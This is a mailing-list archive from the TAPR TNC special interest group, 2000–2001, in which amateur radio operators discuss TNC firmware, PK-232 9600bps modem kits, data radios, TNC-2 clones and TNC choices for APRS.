> On Mon, Mar 20, 2000 at 02:07:50PM +0000, Wesley Green wrote:
> > I have a TNC u21 made by TASCO which the book says is TNC2 upgradable.
> > I want to use it as a standalone GPS tracker but it does not support the
> > GPS command set.
> > It is at present running firmware version 1.1.5TE I'm not sure if this is a
> > custom eprom for TASCO units or not.
> > Can anyone tell me if I can upgrade to v1.1.9.
> > If it is compatible can you tell me if the eprom image file is available as
> > a free download or if not where I can obtain it and how much to get it to
> > the UK.
> > Hope someone can help.
>
> --
> Bob Nielsen, N7XY (RN2)   nielsen@primenet.com
> Tucson, AZ DM42nh QRP-L #1985 SOC #77   http://www.primenet.com/~nielsen

---
You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

7. [tapr-tnc] Re: TNC u21 V1.1.9 OR NOT

From: Bob Nielsen <nielsen@primenet.com>
Date: Tue, 21 Mar 2000 17:12:06 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-72695-2000.03.21-18.12.00--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

```
No, what I meant was that none of the TAPR series is compatible, since
they do not support setting the baud rate from the firmware.  I meant
to say that the TASCO TNC would NOT work with 1.1.9.  Sorry about that
(I should have re-read what I was typing).

Someone else responded that PacComm has a GPS-compatible eprom for the
Heath Pocket Packet (which is the same thing as the u-21).  That would
be your best bet unless something is available
directly from TASCO.

According to PacComm's web page (http://www.paccomm.com), they have the
following dealers in the UK:

                                  SMC
                    South Midlands Communications, Ltd.
                          S M House, School Close
                         Chandlers Ford Ind Estate
                              Eastleigh, Hants
                               SO53 4 BY, UK
                        Voice: +44 (0) 23 8024 6200
                         Fax: +44 (0) 23 8024 6206

                        E-Mail: sales@smc-comms.com
                    ________________________________

                Technical Telecommunications International Ltd
                                  25 Kelway
                                   Oaklands
                                    Binley
                               Coventry CV3 2XP
                                      UK
                             TEL +44 1203 652928
                             FAX +44 1203 652634
                    E-Mail: DArmstrong@TTI-LTD.CO.UK


73, Bob

On Tue, Mar 21, 2000 at 04:42:47PM +0000, Wesley Green wrote:
> Hi Bob Thanks for your reply.
> Only problem is I'm not 100% sure on your answer, you said 1.1.5 was not
> compatible but 1.1.9 is. Am I correct ? I so I'll get my order as soon as
> possible.
> On 03/20/00, "Bob Nielsen <nielsen@primenet.com>" wrote:
> > As I recall, the u21 firmware (which was also used in the Heath Pocket
> > Packet) is based on, but not interchangeable with TAPR 1.1.5 firmware.
> > Thus it (or any TASCO TNC AFAIK) will work with 1.1.9.  I believe the
> > primary difference is that the serial port baud rate is set in software
> > rather than by dip switches.  There is also a primative mailbox.  The
> > only other firmware image I have seen for the u21 added KISS
> > (ftp://ftp.ucsd.edu/hamradio/packet/misc/u21_kiss.rom).
> >
> >
> > Bob, n7xy
> >
> > On Mon, Mar 20, 2000 at 02:07:50PM +0000, Wesley Green wrote:
> > > I have a TNC u21 made by TASCO which the book says is TNC2 upgradable.
> > > I want to use it as a standalone GPS tracker but it does not support the
> > > GPS command set.
> > > It is at present running firmware version 1.1.5TE I'm not sure if this is a
> > > custom eprom for TASCO units or not.
> > > Can anyone tell me if I can upgrade to v1.1.9.
> > > If it is compatible can you tell me if the eprom image file is available as
> > > a free download or if not where I can obtain it and how much to get it to
> > > the UK.
> > > Hope someone can help.
> >
> > --
> > Bob Nielsen, N7XY (RN2)                    nielsen@primenet.com
> > Tucson, AZ DM42nh  QRP-L #1985  SOC #77    http://www.primenet.com/~nielsen
>
> ---
> You are currently subscribed to tapr-tnc as: NIELSEN@PRIMENET.COM
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>

--
Bob Nielsen, N7XY (RN2)                    nielsen@primenet.com
Tucson, AZ DM42nh  QRP-L #1985  SOC #77    http://www.primenet.com/~nielsen
```

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September 2000

Original source file: tapr-tnc.0009
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0009

1. [tapr-tnc] HELP for an original TNC-1

From: "Jay Boyer" <jhawk@mediaone.net>
Date: Fri, 22 Sep 2000 21:30:13
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-110637-2000.09.22-21.38.10--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I'm looking for schematics, and possibly TNC-1 firmware (using WA8DED v1.3
software right now). I have an original TNC-1 (ser 2218).

If you can help, drop a line! Thanks!

-- Jay N4RLL

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

December 2000

Original source file: tapr-tnc.0012
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0012

1. [tapr-tnc] Hello?

From: "Clay Bartholow" <w0led@arrl.net>
Date: Wed, 27 Dec 2000 8:16:23
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-126413-2000.12.27-08.28.33--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Anybody out there?

I had a problem getting my TNC2 to restart after a three month shutdown. I
got out the manual, went to the troubleshooting section, followed the
procedure, and found(?) the problem. Actually I haven't found the problem
but I'm in the ballpark. The reset pulse was not being produced at
startup. When I put the voltmeter probe on the IC pin and powered up it
worked. It's been working since (through power cycling, etc.) so I haven't
wanted to "fix" it. Latent ESD damage??? IC needs reseating in socket???
Cold solder joint (nah, not me!)???

Clay Bartholow W0LED

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: Hello?

From: "William Horner" <kd8ow@wcoil.com>
Date: Wed, 27 Dec 2000 18:16:59 GMT
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-126481-2000.12.27-12.29.12--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hi Clay
I had a similar problem with my TNC-2. I had left it dormant for several
years....Had to go back to the original start-up protocols, baud rates etc.
Seems to be working fine now and am debating as to whether to install a
several year old update kit in it.

Bill Horner
KD8OW

Clay Bartholow writes:

> Anybody out there?
>
> I had a problem getting my TNC2 to restart after a three month shutdown. I
> got out the manual, went to the troubleshooting section, followed the
> procedure, and found(?) the problem. Actually I haven't found the problem
> but I'm in the ballpark. The reset pulse was not being produced at
> startup. When I put the voltmeter probe on the IC pin and powered up it
> worked. It's been working since (through power cycling, etc.) so I haven't
> wanted to "fix" it. Latent ESD damage??? IC needs reseating in socket???
> Cold solder joint (nah, not me!)???
>
> Clay Bartholow W0LED
>
> ---
> You are currently subscribed to tapr-tnc as: kd8ow@wcoil.com
> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
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January 2001

Original source file: tapr-tnc.0101
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0101

1. [tapr-tnc] TNC-1

From: Zach Hamill <zachhamill@yahoo.com>
Date: Mon, 29 Jan 2001 21:46:35 -0800 (PST)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-131865-2001.01.30-00.00.22--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Dose anyone know whwere I could find a manule for a
TNC-1?
Thank you & 73s,
KG6ABA
Zach Hamill

=====
Zachary Hamill
KG6ABA (ham radio)
City: Santa Rosa, CA; County: Sonoma
ARRL Division: Pacific; ARRL Section: San Francisco
Location: 38□26'26''N, 122□42'48''W (38.4406□ N, 122.713□ W)
Grid: CM88

_____
Get personalized email addresses from Yahoo! Mail - only $35
a year! http://personal.mail.yahoo.com/

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

2. [tapr-tnc] Re: TNC-1

From: Byron Smith <wa6ylb@theworks.com>
Date: Mon, 29 Jan 2001 21:56:29 -0800
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-131878-2001.01.30-00.09.26--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have several of them. Is there anything in particular you need from one?

At 09:46 PM 01/29/2001 -0800, you wrote:
>Dose anyone know whwere I could find a manule for a
>TNC-1?
>Thank you & 73s,
>KG6ABA
>Zach Hamill
>
>
>=====
>Zachary Hamill
>KG6ABA (ham radio)
>City: Santa Rosa, CA; County: Sonoma
>ARRL Division: Pacific; ARRL Section: San Francisco
>Location: 38°26'26''N, 122°42'48''W (38.4406° N, 122.713° W)
>Grid: CM88
>
>_____
>Get personalized email addresses from Yahoo! Mail - only $35
>a year! http://personal.mail.yahoo.com/
>
>---
>You are currently subscribed to tapr-tnc as: WA6YLB@THEWORKS.COM
>To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

Byron Smith
wa6ylb@theworks.com - Webpage: http://www.theworks.com/~wa6ylb
wa6ylb@wa6ylb.#nca.ca.usa.noam
ICQ 26114994

If all those psychics know the winning lottery numbers, why are they all
still working?

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] tnc-1 computer pograming

From: Zach Hamill <zachhamill@yahoo.com>
Date: Tue, 30 Jan 2001 21:10:51 -0800 (PST)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-132050-2001.01.30-23.24.39--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hello everyone. Thank you to those who responded to my
first message. I was wondering if any one knew if
there was programming programs for the TNC-1. Thank
you.
73s

=====
Zachary Hamill
KG6ABA (ham radio)
City: Santa Rosa, CA; County: Sonoma
ARRL Division: Pacific; ARRL Section: San Francisco
Location: 38□26'26''N, 122□42'48''W (38.4406□ N, 122.713□ W)
Grid: CM88

_____
Do You Yahoo!?
Yahoo! Photos - 35mm Quality Prints, Now Get 15 Free!
http://photos.yahoo.com/

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

May 2001

Original source file: tapr-tnc.0105
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0105

1. [tapr-tnc] Which PK232 mods do I need for 9600bps?

From: "Paula M. Uscian" <netlaw@interaccess.com>
Date: Thu, 31 May 2001 21:15:22 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-15925-2001.05.31-21.35.32--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I have a PK232 MBX to which I want to add 9600bps capability. From discussions at the TAPR booth at Dayton this year, I understood that I can do this with the TAPR 9600bps modem kit plus the PK-232 Install kit.

I later was re-reading some TAPR literature picked up at Dayton last year, however, and noted the PK-232 Modem Disc(onnect) mentioned. Do I need this with the above two items to get the PK-232 to sing at 9600bps? My prior understanding was that I just needed the first two items.

But the literature I'm reading says that the Modem Disc "provides a convenient place to connect... the TAPR 9600bps modem." The same literature also states for the Install kit "The first pre-wired harness is used to connect the TAPR 9600bps modem to the PK-232 Modem Disconnect Upgrade. The harness plugs in between the 9600bps modem and the modem disconnect header...The second harness provides connections to all the other points required on the 'new' PK-232 MBX...."

Clarification on what I need to get and install is very much appreciated. Thanks!

Paula M. Uscian, K9IR

---

2. [tapr-tnc] Re: Which PK232 mods do I need for 9600bps?

From: Bob Nielsen <nielsen@oz.net>
Date: Thu, 31 May 2001 19:51:27 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: tapr-tnc@lists.tapr.org
Message-ID: <LYR6755-15937-2001.05.31-22.10.41--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

On Thu, May 31, 2001 at 09:15:22PM -0500, Paula M. Uscian wrote:
> I have a PK232 MBX to which I want to add 9600bps capability. From
> discussions at the TAPR booth at Dayton this year, I understood that
> I can do this with the TAPR 9600bps modem kit plus the PK-232 Install
> kit.
>
> I later was re-reading some TAPR literature picked up at Dayton last
> year, however, and noted the PK-232 Modem Disc(onnect) mentioned. Do
> I need this with the above two items to get the PK-232 to sing at
> 9600bps? My prior understanding was that I just needed the first two
> items.
>
> But the literature I'm reading says that the Modem Disc "provides a
> convenient place to connect... the TAPR 9600bps modem." The same
> literature also states for the Install kit "The first pre-wired
> harness is used to connect the TAPR 9600bps modem to the PK-232 Modem
> Disconnect Upgrade. The harness plugs in between the 9600bps modem
> and the modem disconnect header...The second harness provides
> connections to all the other points required on the 'new' PK-232
> MBX...."
>
> Clarification on what I need to get and install is very much
> appreciated. Thanks!

Paula,

There are several options:

1. TAPR 9600 modem plus PK-232 Modem Disconnect plus PK-232 Installation kit

2. TAPR 9600 modem plus PK-232 Modem Disconnect without PK-232 Installation

3. TAPR 9600 modem without either modem disconnect or installation kit.

The Modem disconnect and Installation kits were created to simplify the process of installing the modem in the PK-232, but you can install the modem without these. The modem disconnect kit provides a place to attach the modem and the installation kit provides the cables to go between the disconnect kit and the PK-232 itself. This makes for an

easy and neat-looking final product. I would definitely recommend both
of these. If you download the PDF manuals for the kits from the TAPR
web site, you can get a better idea of how it all goes together.

73, Bob N7XY

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

June 2001

Original source file: tapr-tnc.0106
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0106

1. [tapr-tnc] Re: Which PK232 mods do I need for 9600bps?

From: Stewart Teaze <horseshoe7@yahoo.com>
Date: Fri, 1 Jun 2001 20:02:08 -0700 (PDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-16216-2001.06.01-22.21.21--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

What radio are you considering using?

The modem/TNC part is really the easy part(I've built several TAPR 9k6 modem kits myself). But since the Kantronics D4-10 went belly-up, the real problem is that there are not any real good solutions for radios to do 9600 with a low enough TxDelay to make it worthwhile.

Since you basically have to set everybody's TxDelay on the channel to accomodate the radio with the slowest TX/RX turnaround, it is a bit of a lost cause. Sure, you can pick up some speed improvement, but the TxD problem, combined with other factors(find the discriminator and varactor), is what has made 9K6 an enigma for hams.

I understand there is the low-cost MFJ 2 Meter data radio, but I hear it is susceptible to intermod. If you live in Alaska, I suppose you would be OK. I wonder what TxDelay a pair of those cool Kenwood radios with built-in 9k6 capable TNCs are able to run with on 9k6? I suspect it isn't that good, or they would have been selling a lot more of them.

Think about it - if it was so easy, why wouldn't everyone be running 9k6? What happened was, when hams couldn't afford a D4-10, and couldn't understand how to mod a commercial radio(even if that wasn't the ideal solution)packet just died, until someone came up with an application that sort of made sense at 1200bps in today's world(APRS).

What kills me is that TAPR actually had the right idea back in the early 90's to make a data radio - but they took too long, and then lost interest and moved to the FHSS radio, which itself has been floundering for over 4 years.

What somebody(maybe me?) needs to do is make a decent data radio(and provide it as a kit?) that is capable of 9k6, but is not susceptible to intermod. But, the fact is, if someone developed that, they could sell it on the commercial market, and wouldn't bother with hams, because they are too cheap to buy a good product - I suspect that is why the D4-10 went away, because hams didn't support it.

Stewart - N0MHS

_____
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2. [tapr-tnc] Re: Which PK232 mods do I need for 9600bps?

From: "Chuck Hast" <kp4djt@tampabay.rr.com>
Date: Sat, 02 Jun 2001 10:21:15 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-16285-2001.06.02-09.40.35--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

We use quite a few TEKK radios around here for the 9k6 (and if
you change the filters 19k2 and 38k4), the cost is not too bad on
them and they do data at 9k6 out of the box. Turn around time is
good (<10ms) and the cost is not bad either. I have a couple of
the MFJ 220Mhz radios too bad the ham community did not support
them more also.

The D4-10 was costly and you had to really use it with Kantronics
products, if you wanted to use it with the G3RUH or TAPR style
modems you usually found you had to do some jury rigging. I can
take a TEKK out of the box and plug a G3RUH modem into set
levels with a scope and I am off and running, in fact I have
'guesstimate' levels many a time and got the link up until I could
get back and set deviation to the right level. I do not work for
TEKK radio just have put a lot of them into service in the amateur
world, along with the D4-10 and a load of /\/\otorola radios on
9k6, the TEKK's are easy. I see PacComm is showing them for
$179.00 I think you can probably get them a bit lower at TEKK,
phone is 800.746.1093

They do not have a 2m model, but they did have a 220 and the
the main products are on the 450 Mhz band. The amateur unt is
built for 430-450mhz.

On Fri, 1 Jun 2001 20:02:08 -0700 (PDT), Stewart Teaze wrote:

>What radio are you considering using?
>
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>several TAPR 9k6 modem kits myself). But since the
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>- I suspect that is why the D4-10 went away, because
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>
>Stewart - N0MHS
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>____
>Do You Yahoo!?

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>
>---
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>

Chuck Hast   e-mail   kp4djt@tampabay.rr.com

   ---- FPAC ----
www.qsl.net/fpac/

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] Re: Which PK232 mods do I need for 9600bps?

From: "Mark L. Hammond" <hammond@surrealnet.net>
Date: Sat, 02 Jun 2001 11:09:31 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-16294-2001.06.02-10.28.46--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Perhaps the interest is for satellite 9600 baud. Who cares about TxDelay
when you're operating full duplex ;-)

Personally? I've done the integration of the TAPR 9600 into a PK-232. At
one point I also had the TAPR PSK modem attached. I installed the DCD mod,
modem disconnect header, etc. My advice would be to weigh the cost of the
integration of the modem into the PK-232 vs. the cost of a 1200/9600 TNC,
ready out of the box. Either a Kantronics or Symek (and be ready for 76k8
plus!) are units I would consider. Or maybe a DSP solution (EVM56k, etc.)
if you are willing to learn how to load and use it.

I love to build/modify, but my recollections of the PK-232 and this task
aren't very fond. (well, copying my first 9600 baud satellite data with
this setup *was* extremely adrenaline filled!).

73,

Mark N8MH

At 11:02 PM 6/1/2001, you wrote:
>What radio are you considering using?
>//
>Since you basically have to set everybody's TxDelay on
>the channel to accomodate the radio with the slowest
>TX/RX turnaround, it is a bit of a lost cause. Sure,

Mark L. Hammond [N8MH]

You are currently subscribed to tapr-tnc as: lyris.tapr-tnc@tapr.org
To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

4. [tapr-tnc] Re: Which PK232 mods do I need for 9600bps?

From: Stewart Teaze <horseshoe7@yahoo.com>
Date: Sat, 2 Jun 2001 09:14:22 -0700 (PDT)
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-16302-2001.06.02-11.33.42--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

> We use quite a few TEKK radios around here for the
> 9k6 (and if
> you change the filters 19k2 and 38k4), the cost is
> not too bad on
> them and they do data at 9k6 out of the box. Turn
> around time is
> good (<10ms) and the cost is not bad either

Of course! I forgot about the TEKKs! I had two of
them - sold one to another local ham, so I would have
someone to talk to, and lent one to another, who I
can't remember :(

Yes, with the TEKKs, you are stylin' Inexpensive,
good turnaround time, and everything. Absolutely.

The have low TX power - but that is actually a GOOD
thing.

You mentioned that some can do 38.4Kbps nowadays, I
saw that I while back, too. That is a pretty good
clip! Why the heck aren't more hams doing this? It
is amazing that we are STILL slugging along at
1200bps. Absolutely amazing.

10 years ago most of the 2m & 70cm channels were being
dedicated to repeaters in the urban/suburban areas.
While they are still listed as "dedicated" to
repeaters(many of them closed repeaters), other than a
few high-level repeaters, most of the frequencies are
virtually unused nowadays. I don't see any reason why
experiments can't be run with 38.4Kbps on 50khz-wide
channels on 70cm, using cheap TEKK radios. Heck, at
38.4Kbps, you can pretty much download web pages.

_____
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5. [tapr-tnc] Re: tapr-tnc digest: June 01, 2001

From: "Paula M. Uscian" <netlaw@interaccess.com>
Date: Sun, 3 Jun 2001 22:58:22 -0500
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-16546-2001.06.03-23.18.27--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Stewart--

Thanks for your observations. <y plans are to use one of teh Tekk data
radios, specifically for 440 MHz. I understand they may have a synthesized
version out now (though I've not yet seen any references to other than the
crystalled version). A fellow recommended Tekk to me, and in fact got me
embarked on this whole crusade to modify my PK232 for 96--bps.

Any further thoughts you, or others, may have on this radio for 9600bps work
are appreciated.

73,
K9IR Paula

----- Original Message -----
From: TAPR TNC Special Interest Group digest <tapr-tnc@lists.tapr.org>
To: tapr-tnc digest recipients <tapr-tnc@lists.tapr.org>
Sent: Saturday, June 02, 2001 12:03 AM
Subject: tapr-tnc digest: June 01, 2001

> TAPR TNC Special Interest Group Digest for Friday, June 01, 2001.
>
> 1. Re: Which PK232 mods do I need for 9600bps?
>
> --
>
> Subject: Re: Which PK232 mods do I need for 9600bps?
> From: Stewart Teaze <horseshoe7@yahoo.com>
> Date: Fri, 1 Jun 2001 20:02:08 -0700 (PDT)
> X-Message-Number: 1
>
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> ____
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>
>
> ---
>
> END OF DIGEST
>
> ---
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>

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October 2001

Original source file: tapr-tnc.0110
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.0110

1. [tapr-tnc] Is there a TAPR TNC-2 Kit available?

From: "Mark Martin" <Martin.Mark@Orbital.COM>
Date: Thu, 25 Oct 2001 13:54:40 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43514-2001.10.25-13.16.23--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

I see discussion of firmware upgrades,
add on boards and the such,
but for the life of me,
I cannot find information on the original article.

Where can I find information about the TNC everyone is talking about?
(Sorry, it's a newbie question I know, but I think this is TAPR targeted enough
to post here instead of a usenet news group.)

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2. [tapr-tnc] RE: tapr-tnc digest: October 25, 2001

From: "Steve Stroh" <lists@strohpub.com>
Date: Thu, 25 Oct 2001 22:00:59 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43629-2001.10.26-00.28.33--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Mark:

The TNC-2 is no longer offered as a product by TAPR. The intellectual
property (board layout, schematics, etc.) and manufacturing licenses for the
TNC-2 was sold to a number of companies that then produced TNC-2 equivalent
devices. Two of the more prominent companies still in business are MFJ (the
original 1270 TNC) and PacComm Packet Radio Systems (numerous TNC-2
equivalents, including the TNC-200 [if memory serves] and the Tiny-2.

There were a number of other TNC-2 derivatives from companies no longer in
business, and there were a number of unauthorized TNC-2 "clones" manufacture
red by overseas companies.

Hope that helps, but if not, post more questions.

Thanks,

Steve

--
Steve Stroh steve@strohpub.com 425-481-0600
Independent Technology Writer
Specializing in Broadband Wireless Internet Access
Focus on Broadband Wireless Internet Access newsletter -
http://www.strohpub.com/focus.htm

> -----Original Message-----
> From: bounce-tapr-tnc-6304@lists.tapr.org
> [mailto:bounce-tapr-tnc-6304@lists.tapr.org]On Behalf Of TAPR TNC
> Special Interest Group digest
> Sent: Thursday, October 25, 2001 22:01
> To: tapr-tnc digest recipients
> Subject: tapr-tnc digest: October 25, 2001
>
>
> TAPR TNC Special Interest Group Digest for Thursday, October 25, 2001.
>
> 1. Is there a TAPR TNC-2 Kit available?
>
> --
>
> Subject: Is there a TAPR TNC-2 Kit available?

> From: "Mark Martin" <Martin.Mark@Orbital.COM>
> Date: Thu, 25 Oct 2001 13:54:40 -0400
> X-Message-Number: 1
>
>
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>
>
>
>
>
>
> ---
>
> END OF DIGEST
>
> ---
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> To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org
>

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To unsubscribe send a blank email to leave-tapr-tnc-6755K@lists.tapr.org

3. [tapr-tnc] RE: tapr-tnc digest: October 25, 2001

From: Bob Nielsen <nielsen@oz.net>
Date: Thu, 25 Oct 2001 22:38:36 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: Mark Martin <Martin.Mark@Orbital.COM>
Message-ID: <LYR6755-43633-2001.10.26-01.05.07--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Just to clarify, several of the overseas TNC-2 clone manufacturers were
licensed by TAPR. The only one which I am aware of that still produces
a somewhat-compatible product is Symek in Germany. All of the
currently available clones differ somewhat from the TNC-2, but the MFJ
1270C is probably the closest.

One of the reasons that TAPR ceased kit production (in 1985, I recall)
was that fully assembled products were available from several suppliers
for less than the price at which TAPR could offer the kit (economies of
scale).

There was a brief period (~1993) when TAPR made bare TNC-2 circuit
boards available, but these were quickly snapped up. The schematic,
manuals and an older version of the firmware (1.1.18a) are available
from the TAPR ftp site in the software_lib/tnc area.

Bob

--
Bob Nielsen, N7XY   nielsen@oz.net
Bainbridge Island, WA   http://www.oz.net/~nielsen
IOTA NA-065, USI WA-028S

On Thu, Oct 25, 2001 at 10:00:59PM -0700, Steve Stroh wrote:
>
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>
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>
> Steve
>
> --
> Steve Stroh   steve@strohpub.com 425-481-0600
> Independent Technology Writer
> Specializing in Broadband Wireless Internet Access
> Focus on Broadband Wireless Internet Access newsletter -
> http://www.strohpub.com/focus.htm
>
>
> > -----Original Message-----
> > From: bounce-tapr-tnc-6304@lists.tapr.org
> > [mailto:bounce-tapr-tnc-6304@lists.tapr.org]On Behalf Of TAPR TNC
> > Special Interest Group digest
> > Sent: Thursday, October 25, 2001 22:01
> > To: tapr-tnc digest recipients
> > Subject: tapr-tnc digest: October 25, 2001
> >
> >
> > TAPR TNC Special Interest Group Digest for Thursday, October 25, 2001.
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> > Subject: Is there a TAPR TNC-2 Kit available?
> > From: "Mark Martin" <Martin.Mark@Orbital.COM>
> > Date: Thu, 25 Oct 2001 13:54:40 -0400
> > X-Message-Number: 1
> >
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4. [tapr-tnc] TNC2 Kit

From: "Darryl Smith" <Darryl@radio-active.net.au>
Date: Fri, 26 Oct 2001 17:31:54 +1000
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43640-2001.10.26-03.01.06--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

>Subject: Is there a TAPR TNC-2 Kit available?
>From: "Mark Martin" <Martin.Mark@Orbital.COM>

>I see discussion of firmware upgrades,
>add on boards and the such,
>but for the life of me,
>I cannot find information on the original article.

>Where can I find information about the TNC everyone is talking about?
(Sorry, it's a
>newbie question I know, but I think this is TAPR
>targeted enough to post here instead of a usenet news group.)

I do not know if it is still available - check the TAPR www site. If not
I have a couple of PCB's here that are basically empty and need a good
home... Any offers for them?

Darryl

Darryl Smith, VK2TDS   POBox 169 Ingleburn NSW 2565 Australia
Mobile Number 0412 929 634 [+61 4 12 929 634 International]
Darryl@radio-active.net.au | www.radio-active.net.au for domain names

---
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5. [tapr-tnc] RE: tapr-tnc digest: October 25, 2001

From: "Mark Martin" <Martin.Mark@Orbital.COM>
Date: Fri, 26 Oct 2001 07:41:39 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Cc: Bob Nielsen <nielsen@oz.net>
Message-ID: <LYR6755-43653-2001.10.26-07.01.02--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

[Empty message body]

6. [tapr-tnc] RE: tapr-tnc digest: October 25, 2001

From: "Howard Cunningham" <howardc@macrollc.com>
Date: Fri, 26 Oct 2001 08:04:52 -0400
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43656-2001.10.26-07.28.04--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Hi Mark

I thought that I recognized the name and company...

I believe that all of the modern TNCs work with APRS. A popular one is the Kantronics KPC-3, which can be had on ebay for good prices. If you want to do APRS, make sure that the firmware in the KPC is new enough. See Kantronics web site for info.

See you Sunday morning at the Marathon.

73s
WD5DBC

Howard Cunningham
MACRO Systems, LLC
3867 Plaza Drive
Fairfax, VA 22030

(703) 359-9211
(703) 591-0446 (F)
www.macrollc.com

howardc@macrollc.com
for service: service@macrollc.com

>>> "Mark Martin" <Martin.Mark@Orbital.COM> 10/26/01 07:41AM >>>
[Attachment: Howard Cunningham.vcf; text/x-vcard; 201 bytes]

7. [tapr-tnc] RE: TNC for APRS, etc.

From: "Steve Stroh" <lists@strohpub.com>
Date: Fri, 26 Oct 2001 06:51:28 -0700
To: "TAPR TNC Special Interest Group" <tapr-tnc@lists.tapr.org>
Message-ID: <LYR6755-43675-2001.10.26-09.19.21--lyris.tapr-tnc#tapr.org@lists.tapr.org>
Rendered body type: text/plain

Mark:

For APRS, you can't get much better than the Kantronics KPC-3+, which has
stellar support for APRS.

For TheNet/X1JR, etc. if you want new hardware, probably your best choice is
PacComm's Tiny 2 Mark 2 (www.paccomm.com) which is advertised as "Works with
ROSE, NET/ROM, TheNet and all TNC-2 type network EPROMs."

You can often pick up a used TNC-2 compatible TNC at hamfests, or on eBay

(though a quick check this morning didn't show any currently posted).

As in the advertising blurb above, there is also ROSE (RATS Open System Environment, if memory serves). RATS is a packet radio group in New Jersey, and ROSE is based on the OSI protocol stack, and at one time was popular overseas because could easily be monitored by authorities. (That description is from memory, so corrections are appreciated).

The Kantronics KPC-3+ would let you experiment with KA-Net, a semi-proprietary variant of Net/ROM.

